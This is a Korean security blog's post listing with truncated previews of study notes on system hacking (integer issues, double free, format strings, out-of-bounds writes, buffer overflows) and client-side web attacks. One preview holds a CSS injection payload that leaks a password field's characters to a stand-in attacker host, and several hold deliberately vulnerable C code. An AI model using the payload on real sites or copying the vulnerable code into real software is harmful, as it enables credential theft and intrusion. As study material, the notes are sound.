본문 바로가기

전체 글

(1196)
[systemhacking] Integer Issues 32비트 운영체제에서 size_t는 unsigned int long은 int 64비트 운영체제에서 size_t는 unsigned long long은 long long size_t는 객체의 최대 사이즈이기 때문에 항상 unsigned 32bit 에서는 int가 최대 자료형, 64bit에서는 long long이 최대 묵시적 형 변환에 따른 취약점 대입연산 : 작은 정수 자료형에 큰 정수를 저장하는 경우, 작은 정수의 크기에 맞춰서 상위 바이트가 소멸됨. 정수승격 : char short 같은 자료형이 연산될 때 발생 . char형과 char형의 덧셈의 경우 1byte가 아닌 4byte의 결과 출력 컴퓨터가 int형을 기반으로 연산하기 때문에 발생. 피연산자가 불일치할 경우 형 변환 : int와 double 더..
[systemhacking] Memory corruption 해제된 메모리에 접근하거나 메모리를 할당하고 해제하지 않아 메모리 릭이 발생하는 경우 #include #include int main(void) { char* a = (char *)malloc(100); char *b = (char *)malloc(100); memset(a, 0, 100); strcpy(a, "Hello World!"); memset(b, 0, 100); strcpy(b, "Hello Pwnable!"); printf("%s\n", a); printf("%s\n", b); free(a); free(b); free(a); } : a 두번 해제 #include #include #include int main(void) { char *a = (char *)malloc(100); memset(..
[systemhacking] format string bug format string을 인자로 받는 함수 printf sprintf / snprintf fprintf vprintf / vfprintf vsprintf / vsnprintf 위와 같은 함수에 포맷 스트링을 주면 의도치 않은 값이 출력되거나 저장됨. 출력 #include int main(void) { char buf[100] = {0, }; read(0, buf, 100); printf(buf); } $ ./fsb-1 %x %d bf3977c0 100 $ 파일 저장 #include #include int main(void) { FILE *fp = fopen("log.txt", "w"); char buf[100] = {0, }; read(0, buf, 100-1); fprintf(fp, "BUFFER-L..
[systemhacking] Off-by-one Off-by-one 취약점은 경계 검사에서 하나의 오차가 있을 때 발생하는 취약점. 버퍼의 경계 계산 혹은 반복문의 횟수 계산 시 < 대신
[systemhacking] Out of Boundary Out of boundary는 버퍼의 길이 범위를 벗어나는 인덱스에 접근할 때 발생하는 취약점. #include int main(void) { int win; int idx; int buf[10]; printf("Which index? "); scanf("%d", &idx); printf("Value: "); scanf("%d", &buf[idx]); printf("idx: %d, value: %d\n", idx, buf[idx]); if(win == 31337){ printf("Theori{-----------redacted---------}"); } } win 4byte 깔리고 idx 4byte buf 40byte 스택에 쌓임 win 값을 31337로 만들기 위해 인덱스 11에 접근하여 값 수정 #i..
[systemhacking] 버퍼 오버플로우 버퍼란 지정된 크기의 메모리 공간. 버퍼 오버플로우 : 버퍼가 허용할 수 있는 양의 데이터보다 더 많은 값이 저장되어 버퍼가 넘치는 취약점 버퍼 오버플로우가 발생하는 위치에 따라 스택 버퍼 오버플로우, 힙 오버플로우와 같이 나눠서 부름. 스택 버퍼 오버플로우 // stack-1.c #include #include int main(void) { char buf[16]; gets(buf); printf("%s", buf); } 지역변수 buf는 스택 영역에 16바이트로 저장됨. gets는 사용자가 개행 입력하기 전까지 입력했던 모든 내용을 첫 번째 인자로 전달된 버퍼에 저장. 버퍼를 오버플로우 시켜 ret 영역을 0x41414141로 만들면 성공 Ascii는 Hex Encode 되므로 41을 의미하는 A로 ..
[Webhacking] [client-side advanced] Exploit Techniques - CSS Injection CSS의 Selector나 HTTP 요청 생성을 통해 문서 정보 획득 및 CSRF 공격 연계 가능. 공격 예시 password가 SuperSecret인 경우 input[name='userpw'][value^='a']{background: url("http://hacker.dreamhack.com/a");} input[name='userpw'][value^='b']{background: url("http://hacker.dreamhack.com/b");} input[name='userpw'][value^='c']{background: url("http://hacker.dreamhack.com/c");} ... input[name='userpw'][value^='S']{background: url("http..
[Webhacking] [client-side advanced] Exploit Techniques - Dom Clobbering 보호되어 있는 글입니다.
[Webhacking] [client-side advanced] Exploit Techniques - Relative Path Overwrite (RPO) Relative Path Overwrite Browser를 속여 의도되지 않은 파일을 불러오는 기법 절대 경로와 상대 경로 이해. / (루트 도메인) 로 부터 시작되는 경로 파일명만 존재할 시 현재까지의 경로에서 파일명만 교체됨. Browser가 하는 일 웹 서버와 통신 하면서 응답을 브라우저를 통해서 보여준다. 응답코드에 Image나 Script, Stylesheet 파일들을 불러오는 코드가 존재하면 browser 판단 하에 파일을 불러옴. 웹서버는 경로에 대해 찾아서 파일을 응답함. index.php 응답 코드에 css , js 로드 코드가 존재함. 상대경로로 지정되어 있으므로 현재 경로에서 찾음. URL 조작하여 request 브라우저는 URL encode된 부분도 그냥 파일명에 포함시킴. Apac..
3D 입체 구현 보호되어 있는 글입니다.
[systemhacking] 시스템 해킹 기초 보호되어 있는 글입니다.
[Webhacking] [client-side advanced] CORS CORS 기술 사용 시 문제점 현재 사이트에서 다른 사이트로 정보 유출 (기밀성) 다른 사이트에서 현재 사이트 변조 (무결성) - 다른 사이트로부터 스크립트 등이 심어져 XSS 가능 메시지 전송할 때 대상 윈도의 postMessage 메소드를 호출, 수신하는 윈도는 message 전역 이벤트를 청취 targetWindow.postMessage(message, targetOrigin[, transfer]) targetWindow 메시지를 보낼 대상 Window message 메시지 객체 (함수, DOM 객체 등은 보낼 수 없음) targetOrigin 메시지 송신 시점에 targetWindow의 Origin이 targetOrigin과 일치하여야 함. targetOrigin에 "*"을 지정하면 Origin ..